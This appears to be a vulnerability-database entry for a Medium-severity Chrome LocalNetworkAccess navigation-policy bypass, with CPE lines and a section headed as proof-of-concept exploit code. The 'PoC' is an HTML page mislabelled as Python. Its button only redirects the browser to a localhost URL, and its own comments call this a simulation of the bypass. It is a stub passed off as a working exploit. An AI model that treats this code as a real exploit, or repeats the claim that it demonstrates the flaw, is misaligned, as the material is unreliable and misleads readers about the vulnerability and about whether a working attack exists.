Policy bypass in LocalNetworkAccess in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5881 PoC</title>
<meta charset="UTF-8">
</head>
<body>
<h1>LocalNetworkAccess Policy Bypass PoC</h1>
<p>This page attempts to bypass LocalNetworkAccess navigation restrictions.</p>
<!-- Create a button to trigger the interaction (UI:R) -->
<button id="exploitBtn">Click to Test Vulnerability</button>
<script>
document.getElementById('exploitBtn').addEventListener('click', function() {
// Attempt to navigate to a local resource that should be restricted
// In a real scenario, this would bypass the policy check
var targetUrl = 'http://localhost:8080/protected_resource';
console.log('Attempting to navigate to: ' + targetUrl);
// Simulating the bypass mechanism
// Exploit code would leverage the specific flaw in LocalNetworkAccess handling
window.location.href = targetUrl;
});
</script>
</body>
</html>